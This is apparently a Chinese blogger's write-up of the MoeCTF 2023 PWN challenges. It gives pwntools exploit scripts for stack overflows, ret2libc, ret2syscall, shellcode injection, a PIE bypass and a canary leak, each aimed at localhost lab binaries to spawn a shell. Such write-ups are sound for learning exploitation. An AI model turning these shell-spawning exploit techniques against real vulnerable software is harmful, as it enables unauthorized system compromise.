MoeCTF 2023 PWN
简介:
MoeCTF 是西安电子科技大学一年一度的信息安全新生夺旗赛, 由西电信息安全协会 (XDSEC) 面向全体准大学生举办。完结撒花!!!
PWN方向的题目还是很不错的,涵盖了很多的知识点,由浅入深循序渐进,自己也收获不少,加把油!!!明年再来!!!
test_nc
签到题,考察点就是 nc 连接,Linux 命令查看隐藏文件(ls -a)

baby_calculator
利用好 pwntools 来写脚本,主要坑就是应该怎么接受才合适,还有就是在写 python 脚本的时候间距是很重要的(不同间距运行顺序不一样),下面这个点希望注意下:

from pwn import * context.log_level="debug" p = remote('localhost',42051) for i in range(100): p.recvuntil("The second:") p.recvline() num1 =p.recvuntil("+")[:-1] num2 =p.recvuntil("=")[:-1] num =p.recvline() if int(num) ==int(num1) +int(num2): p.sendline("BlackBird") else: p.sendline("WingS") p.interactive()
|
fd
fd 文件描述符,文件描述符是一个非负整数,本质上是一个索引值,0代表标准输入,1代表标准输出,2代表标准错误,接下来就是去猜 fd 可能会等于多少(从 3 开始),然后进行 (fd * 4) | 0x29A 按位或运算

当 fd = 3 时,new_fd = 12 | 0x29a = 670(进制转换和按位运算你应该会吧),结果真是当 fd =3 的时候,实在猜不到的话,就去爆破

int_overflow
考察一个整型溢出,题目让你输入一个不是负数的数等于 -114514,因为 int 类型的范围是:-2147483648 ~ 2147483647
整型溢出的意思差不多就是输入 2147483648 就会变成 0,这样算就是得到下面这个数(这个就是原理,其实不用这么麻烦,可以直接在 ida 里面找到)


ret2text_32
经典 32 位栈溢出,binsh 和 system 都给了,直接干:

from pwn import * context(log_level='debug',arch='i386', os='linux')
io = remote('localhost',33587) elf = ELF('./111')
io.recvline("What's your age?\n") io.sendline(b'100')
bin_addr = 0x804C02C sys_addr = 0x80492A9
payload = b'A'*(0x58 +4) + p32(sys_addr) + p32(0) + p32(bin_addr)
io.sendline(payload) io.interactive()
|
ret2text_64
经典 64 位栈溢出,就是和 32 位传参不一样:
from pwn import * context(log_level='debug',arch='amd64', os='linux')
p = remote('localhost',36355)
elf = ELF('./111')
sys_addr = 0x4012B7 bin_sh = 0x404050 rdi_addr = 0x4011be
p.sendlineafter(b"What's your age?\n",b'200') payload = b'A'*(0x50 +8) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr)
p.sendline(payload) p.interactive()
|
shellcode_level0
经典题型,唯一需要注意的就是64位shellcode需要标住环境 context.arch = "amd64" ,没有的话就默认32位
from pwn import * context.arch = "amd64"
p = remote('localhost',42989)
elf =ELF('./111')
payload = asm(shellcraft.sh())
p.sendline(payload) p.interactive()
|
shellcode_level1
出现了选择,一个一个试就完事了:

from pwn import * context.arch = "amd64"
p = remote('localhost',41529') elf =ELF('./111')
#payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
p.sendline(b'4') payload = asm(shellcraft.sh())
p.sendline(payload) p.interactive()
|
uninitialized_key
这题唯一的点就是需要知道name和key里面的参数是同一个,然后也很容易发现只需要让key =114514就可以直接获取flag,这里只能往age里面输入114514,然后key里面输入 '\x00',不能倒过来(倒过来就会被 '\x00'截断,无法输入114514)


exp如下:
from pwn import * context.arch = "amd64"
p = remote('localhost',45429)
elf =ELF('./111')
p.sendline(b'114514') p.sendline(b'\x00')
p.interactive()
|
PIE_enabled
开启 PIE,并且 ida 给了 vuln 的地址,可以得到基址:


from pwn import * context.arch = "amd64"
p = remote('localhost',38497)
elf =ELF('./111')
vuln_add = 0x1245
p.recvuntil(b'0x') vuln_addr = int(p.recvline(),16)
base = vuln_addr - vuln_add sys_addr = elf.sym['system'] + base bin_sh = 0x4010 + base rdi_addr = 0x1323 + base ret_addr = 0x101a + base
payload = b'A'*(0x50 +8) + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr)
p.sendline(payload) p.interactive()
|
ret2libc
经典 ret2libc,exp如下:
from pwn import * from LibcSearcher import * context(arch='amd64',os='linux',log_level='debug')
io = remote('localhost',42973) elf = ELF('./111') libc = ELF('./libc6_2.35-0ubuntu3_amd64.so')
got_addr = elf.got['puts'] plt_addr = elf.plt['puts'] main_addr = 0x4011E8 rdi_addr = 0x40117e ret_addr = 0x40101a
payload = b'A'*(0x50 +8) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr) io.recvuntil(b'But..maybe libc can help u??\n\n') io.sendline(payload)
puts_addr = u64(io.recvuntil(b'\x7f')[:6].ljust(8, b'\x00')) print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts'] sys_addr = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
payload = b'a'*(0x50 +8) + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr) io.recvuntil(b'But..maybe libc can help u??\n\n') io.sendline(payload) io.interactive()
|
ret2syscall
同样是经典题型,后续我会在技巧(2)中把套路总结出来,exp跟着套路来就行,相关的地址都可以在ida里面找到,实在不行就用ROPgadget去找


exp如下:
from pwn import * context.arch = "amd64"
p = remote('localhost',45009) elf = ELF("./111")
syscall = 0x4011AE bin_sh = 0x404040 pop_rax = 0x40117e pop_rdi = 0x4012e3 pop_rsi_rdx = 0x401182 bss = 0x404060 ret = 0x40101a
payload = b'A'*(0x10 +8) payload += p64(pop_rdi) + p64(bin_sh) payload += p64(pop_rsi_rdx) + p64(0) + p64(0) payload += p64(pop_rax) + p64(59) payload += p64(syscall)
p.sendline(payload) p.interactive()
|
shellcode_level2
ida一下发现反汇编不了,所以只能观察汇编代码,你就会发现一些不同(需要掌握test的用法)
Test命令将两个操作数进行逻辑与运算,并根据运算结果设置相关的标志位。但是,Test命令的两个操作数不会被改变。运算结果在设置过相关标记位后会被丢弃。
简单点来说,就是如果 al <= 0,就跳到那个地址,否则继续往下执行,所以下面我们需要让程序跳转到那个地址,所以让它 al = 0

exp如下:
from pwn import * context.arch = "amd64"
p = remote('localhost',43561) elf =ELF('./111')
payload = b'\x00' + asm(shellcraft.sh())
p.sendline(payload) p.interactive()
|
uninitialized_key_plus
这道题出的也非常有意思,感觉可以让初学者更好的理解程序中的一点小细节不同而导致的exp写法的不同,如下图,这道题所输出的类型是%s字符串,跟上一类型%d整型的题不一样,注意到了这一点就差不多没有问题了


exp如下:
from pwn import * context.arch = "amd64"
p = remote('localhost',37955)
payload = b'a'*20 + p64(0x1BF52)
p.sendline(payload) p.sendline(b"\x00")
p.interactive()
|
little_canary
经典 canary 泄露方式(没有格式化字符串漏洞):

exp如下:
from pwn import * from LibcSearcher import * context.log_level="debug"
p = remote('localhost',37537) elf=ELF('./111')
payload = b'a'*0x48 + b'b' p.sendafter(b'What\'s your name?\n', payload) p.recvuntil(b'b') canary = u64(b"\x00" + p.recv(7))
vuln = 0x40121B plt_addr = elf.plt['puts'] got_addr = elf.got['puts'] rdi_addr = 0x401343 ret_addr = 0x40101a
payload = b'a'*0x48 + p64(canary) + p64(0) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(vuln)
p.sendlineafter(b'I put a canary on my stack!\n', payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') sys_addr = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh')
p.sendafter(b'What\'s your name?', b'1') payload = b'a'*0x48 + p64(canary) + p64(0) + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr) p.sendlineafter(b'I put a canary on my stack!\n', payload)
p.interactive()
|
总结:
这次比赛收获很多,又让我对 PWN 的理解上升了一个高度,同时也发现了自己的薄弱的地方,继续加油,冲冲冲!!!